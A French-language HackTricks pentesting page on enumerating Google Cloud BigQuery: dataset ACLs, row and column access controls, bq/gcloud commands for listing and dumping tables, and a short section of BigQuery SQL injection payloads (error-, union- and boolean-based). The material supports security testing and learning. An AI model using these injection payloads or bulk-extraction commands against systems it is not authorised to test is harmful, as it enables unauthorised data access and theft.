GCP - Bigquery Enum

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Informations de base

Google Cloud BigQuery est un entrepĂŽt de donnĂ©es d’entreprise entiĂšrement gĂ©rĂ© et sans serveur, offrant des capacitĂ©s pour l’analyse de pĂ©taoctets de donnĂ©es, gĂ©rant ainsi efficacement des ensembles de donnĂ©es Ă  grande Ă©chelle. En tant que Plateforme en tant que Service (PaaS), elle fournit aux utilisateurs une infrastructure et des outils pour faciliter la gestion des donnĂ©es sans nĂ©cessiter de supervision manuelle.

Il prend en charge les requĂȘtes utilisant ANSI SQL. Les principaux objets sont des ensembles de donnĂ©es contenant des tables contenant des donnĂ©es SQL.

Chiffrement

Par dĂ©faut, une clĂ© de chiffrement gĂ©rĂ©e par Google est utilisĂ©e, bien qu’il soit possible de configurer une clĂ© de chiffrement gĂ©rĂ©e par le client (CMEK). Il est possible d’indiquer la clĂ© de chiffrement par ensemble de donnĂ©es et par table Ă  l’intĂ©rieur d’un ensemble de donnĂ©es.

Expiration

Il est possible d’indiquer un temps d’expiration dans l’ensemble de donnĂ©es afin que toute nouvelle table créée dans cet ensemble de donnĂ©es soit automatiquement supprimĂ©e le nombre de jours spĂ©cifiĂ© aprĂšs sa crĂ©ation.

Sources externes

Bigquery est profondĂ©ment intĂ©grĂ© avec d’autres services Google. Il est possible de charger des donnĂ©es Ă  partir de buckets, pub/sub, google drive, bases de donnĂ©es RDS


ACLs d’ensemble de donnĂ©es

Lorsqu’un ensemble de donnĂ©es est créé, des ACLs sont attachĂ©es pour donner accĂšs Ă  celui-ci. Par dĂ©faut, des privilĂšges PropriĂ©taire sont accordĂ©s Ă  l’utilisateur qui a créé l’ensemble de donnĂ©es, puis PropriĂ©taire au groupe projectOwners (PropriĂ©taires du projet), Écrivain au groupe projectWriters, et Lecteur au groupe projectReaders :

bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

Contrîle d’accùs aux lignes de table

Il est possible de contrĂŽler les lignes auxquelles un principal pourra accĂ©der dans une table avec des politiques d’accĂšs aux lignes. Celles-ci sont dĂ©finies Ă  l’intĂ©rieur de la table en utilisant DDL.
La politique d’accĂšs dĂ©finit un filtre et seules les lignes correspondantes Ă  ce filtre seront accessibles par les principaux indiquĂ©s.

# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

Contrîle d’accùs aux colonnes

Pour restreindre l’accĂšs aux donnĂ©es au niveau des colonnes :

  1. Définir une taxonomie et des étiquettes de politique. Créez et gérez une taxonomie et des étiquettes de politique pour vos données. https://console.cloud.google.com/bigquery/policy-tags
  2. Optionnel : Accordez le rÎle de lecteur à granularité fine du catalogue de données à un ou plusieurs responsables sur une ou plusieurs des étiquettes de politique que vous avez créées.
  3. Attribuez des Ă©tiquettes de politique Ă  vos colonnes BigQuery. Dans BigQuery, utilisez des annotations de schĂ©ma pour attribuer une Ă©tiquette de politique Ă  chaque colonne oĂč vous souhaitez restreindre l’accĂšs.
  4. Appliquez le contrĂŽle d’accĂšs sur la taxonomie. L’application du contrĂŽle d’accĂšs entraĂźne l’application des restrictions d’accĂšs dĂ©finies pour toutes les Ă©tiquettes de politique dans la taxonomie.
  5. GĂ©rez l’accĂšs aux Ă©tiquettes de politique. Utilisez Identity and Access Management (IAM) pour restreindre l’accĂšs Ă  chaque Ă©tiquette de politique. La politique est en vigueur pour chaque colonne qui appartient Ă  l’étiquette de politique.

Lorsqu’un utilisateur essaie d’accĂ©der aux donnĂ©es d’une colonne au moment de la requĂȘte, BigQuery vĂ©rifie l’étiquette de politique de la colonne et sa politique pour voir si l’utilisateur est autorisĂ© Ă  accĂ©der aux donnĂ©es.

Tip

En rĂ©sumĂ©, pour restreindre l’accĂšs Ă  certaines colonnes pour certains utilisateurs, vous pouvez ajouter une Ă©tiquette Ă  la colonne dans le schĂ©ma et restreindre l’accĂšs des utilisateurs Ă  l’étiquette en appliquant un contrĂŽle d’accĂšs sur la taxonomie de l’étiquette.

Pour appliquer le contrĂŽle d’accĂšs sur la taxonomie, il est nĂ©cessaire d’activer le service :

gcloud services enable bigquerydatapolicy.googleapis.com

Il est possible de voir les tags des colonnes avec :

bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

ÉnumĂ©ration

# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Get jobs executed
bq ls --jobs=true --all=true
bq show --location=<location> show --format=prettyjson --job=true <job-id>

# Misc
bq show --encryption_service_account # Get encryption service account

BigQuery SQL Injection

Pour plus d’informations, vous pouvez consulter le blog : https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Ici, seuls quelques dĂ©tails vont ĂȘtre fournis.

Commentaires :

  • select 1#from here it is not working
  • select 1/*between those it is not working*/ Mais juste le premier ne fonctionnera pas
  • select 1--from here it is not working

Obtenez des informations sur l’environnement telles que :

  • Utilisateur actuel : select session_user()
  • ID de projet : select @@project_id

Concaténer les lignes :

  • Tous les noms de table : string_agg(table_name, ', ')

Obtenez les datasets, tables et noms de colonnes :

  • Nom du projet et nom du dataset :
SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
  • Noms de colonne et noms de table de toutes les tables du jeu de donnĂ©es :
# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
  • Autres ensembles de donnĂ©es dans le mĂȘme projet :
# SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA

Types d’injection SQL :

  • BasĂ© sur les erreurs - conversion : select CAST(@@project_id AS INT64)
  • BasĂ© sur les erreurs - division par zĂ©ro : ' OR if(1/(length((select('a')))-1)=1,true,false) OR '
  • BasĂ© sur l’union (vous devez utiliser ALL dans bigquery) : UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
  • BasĂ© sur le boolĂ©en : ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
  • Potentiellement basĂ© sur le temps - Exemple d’utilisation de jeux de donnĂ©es publics : SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

Documentation :

Escalade de privilĂšges & Post exploitation

GCP - BigQuery Privesc

Persistance

GCP - BigQuery Persistence

Références

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks